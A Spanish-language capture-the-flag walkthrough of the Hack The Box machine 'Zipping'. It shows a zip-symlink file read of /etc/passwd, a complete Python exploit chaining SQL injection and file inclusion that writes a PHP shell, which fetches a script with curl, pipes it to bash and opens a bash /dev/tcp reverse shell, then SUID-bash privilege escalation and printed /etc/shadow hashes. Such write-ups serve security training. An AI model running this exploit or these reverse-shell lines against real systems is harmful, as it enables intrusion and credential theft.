Primer acceso
Accedemos a la IP 10.10.11.229
a través del navegador. A priori parece una tienda de relojes online.
Encontramos el apartado /shop
, pero lo más interesantes es la parte de "Work with Us " en /upload.php
, que nos permite subir un archivo:
En principio solo se puede subir un .zip
:
Al probar a subir una webshell comprimida en un zip nos dice que solo puede contener un pdf:
Escaneo con Nmap
Copiar sudo nmap -v -sS -sV -sC 10.10.11.229
Copiar PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
| _ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.4.54 (Ubuntu)
| _http-title: Zipping | Watch store
Service Info: OS: Linux ; CPE: cpe:/o:linux:linux_kernel
Nos encontramos abiertos los puertos 22 y 80. Los típicos.
Fuzzing
Al fuzzear con dirsearch nos encontramos el directorio /uploads
, donde se suben los archivos:
Test de subida de archivos
Vamos a utilizar simlink para intentar acceder a /etc/passwd
, crear un archivo pdf, y comprimirlo para la subida:
Copiar ln -s /etc/passwd ./symlink.pdf
zip --symlinks test.zip symlink.pdf
Bingo. test.zip
se sube correctamente y nos da un link:
Al acceder nos da un código en base64:
Copiar cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTAwOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDM6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDQ6MTEwOnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjEwNToxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpyZWt0c3U6eDoxMDAxOjEwMDE6Oi9ob21lL3Jla3RzdTovYmluL2Jhc2gKbXlzcWw6eDoxMDc6MTE1Ok15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpfbGF1cmVsOng6OTk5Ojk5OTo6L3Zhci9sb2cvbGF1cmVsOi9iaW4vZmFsc2UK
Lo guardamos en un archivo code
y lo decodificamos usando:
E Voilá. Tenemos el passwd y nos encontramos el usuario rektsu
con permisos de ejecución en la shell:
Copiar rektsu:x:1001:1001::/home/rektsu:/bin/bash
Con el mismo procedimiento, cambiamos la ruta a /home/rektsu/user.txt
y conseguimos el user flag:
Al intentar ese procedimiento para acceder a archivos como el shadow
donde se almacenan todos los hashes de contraseñas o a la carpeta root
, nos devuelve un error "Not found", no es capaz de acceder, por lo que tendremos que encontrar otra manera:
Exploit
Vamos a crear un exploit en python para conectarnos al host y tener un mayor control. Lo que hace el siguiente script es crear una reverse shell y devolvernos una conexión reversa a nuestro netcat listener:
Copiar import requests
import sys
import subprocess
import random
if len (sys.argv) < 2 :
print ( "Usage: python3 HTB_Zipping_poc.py <listener ip> <listener port>" )
sys . exit ( 1 )
fnb = random . randint ( 10 , 10000 )
url = "http://zipping.htb/"
session = requests . Session ()
print ( "[+] Please run nc in other terminal: rlwrap -cAr nc -nvlp " + f " { sys.argv[ 2 ] } " )
print ( "[+] Write php shell /var/lib/mysql/rvsl" + str (fnb) + ".php" )
with open ( 'revshell.sh' , 'w' ) as f :
f . write ( "#!/bin/bash\n" )
f . write ( f "bash -i >& /dev/tcp/ { sys.argv[ 1 ] } / { sys.argv[ 2 ] } 0>&1" )
proc = subprocess . Popen ([ "python3" , "-m" , "http.server" , "8000" ])
phpshell = session.get(url + f"shop/index.php?page=product&id=%0A'%3bselect+'<%3fphp+system(\"curl+http%3a//{sys.argv[1]}:8000/revshell.sh|bash\")%3b%3f>'+into+outfile+'/var/lib/mysql/rvsl{fnb}.php'+%231")
print ( "[+] Get Reverse Shell" )
phpshell = session . get (url + f "shop/index.php?page=..%2f..%2f..%2f..%2f..%2fvar%2flib%2fmysql%2frvsl { fnb } " )
proc . terminate ()
Para ejecutarlo seguimos los siguientes pasos:
Copiar echo "10.10.11.229 zipping.htb" >> /etc/hosts
nc -nvlp 4444
python3 HTB_Zipping_poc.py 10.10.14.63 4444
E voilá! Ya estamos dentro, obteniendo una reverse shell. De la misma manera obtenemos de nuevo el user flag:
Escalada de Privilegios
Como es típico en todas las máquinas Linux, vamos a ejecutar un Linpeas para ver que información nos saca:
Nos encuentra un archivo interesante marcado como crítico en /tmp/bash
:
Al intentar explotarlo con /tmp/bash -p
parece que no nos da resultados porque algunos comandos no los ejecuta bien, pero en realidad si hacemos un cat /root/root.txt
obtenemos el root flag 🏆
Para comprometerlo completamente vamos más allá y si hacemos un cat /etc/shadow
nos devuelve todos los hashes que podemos crackear:
Copiar root:$y$j9T$IYa44JPNfCWV4rqT1W1Kj/$xiHZCNOyiAOLgnHZ06gdF9jWPNR9ixmhsCwFu0Hgy9/:19548:0:99999:7:::
rektsu:$y$j9T$wWBMg/LAoOoUB448jkabg.$8ivoFrxatQTk89/GmgCMdoByo9a1o.l8GK/Xo8BnwT3:19548:0:99999:7:::